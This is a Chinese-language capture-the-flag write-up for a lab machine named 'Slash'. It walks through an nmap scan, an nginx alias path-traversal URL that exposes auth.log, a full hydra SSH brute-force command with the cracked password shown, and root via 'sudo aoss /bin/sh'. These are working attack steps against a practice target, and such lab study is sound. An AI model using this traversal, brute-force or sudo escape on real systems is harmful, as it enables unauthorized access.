# 靶场搭建

下载:Slash

Nat,IP: 192.168.1.135

# 渗透过程

# 信息初收集

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.18.0

敏感目录收集扫出来个 bak/default

是个 nginx 的配置文件,查了资料发现他的配置有错误,alias 必须要以 / 结尾,如果不的话会造成目录穿越,在最后面加上 . 可以进行穿越

这里需要再次 FUZZ,因为不确定能不能向上穿越

最终得到一个结果: http://192.168.1.135/bak../log/auth.log

能够下载到 ssh 的日志,得到用户: omar

┌──(root㉿kali)-[~]
└─# hydra -l omar -P /usr/share/wordlists/rockyou.txt 192.168.1.135 ssh -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-22 03:57:47
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://192.168.1.135:22/
[STATUS] 266.00 tries/min, 266 tries in 00:01h, 14344161 to do in 898:46h, 36 active
[22][ssh] host: 192.168.1.135   login: omar   password: omarion

hydra 爆破得到密码: omarion

# 提权

sudo -l 发现有个 aoss

sudo aoss /bin/sh

拿到 root

# 小结

aoss 是 Advanced Linux Sound Architecture (ALSA) OSS 兼容层的一个工具。它用于在使用 ALSA 的系统上运行基于 OSS(Open Sound System)的应用程序。

在早期的 Linux 系统中,使用 OSS 来进行音频输入输出是常见的。随着时间的推移,ALSA 成为了 Linux 系统的标准音频架构,但一些旧的应用程序仍然依赖于 OSS。为了让这些老旧的应用程序能够在新的 ALSA 系统上正常工作,ALSA 提供了 aoss 工具。

aoss 会在运行 OSS 应用程序之前,拦截其对 OSS 接口的调用,并将其转发到 ALSA 接口上,这样就可以让这些应用程序在 ALSA 系统上正常运行。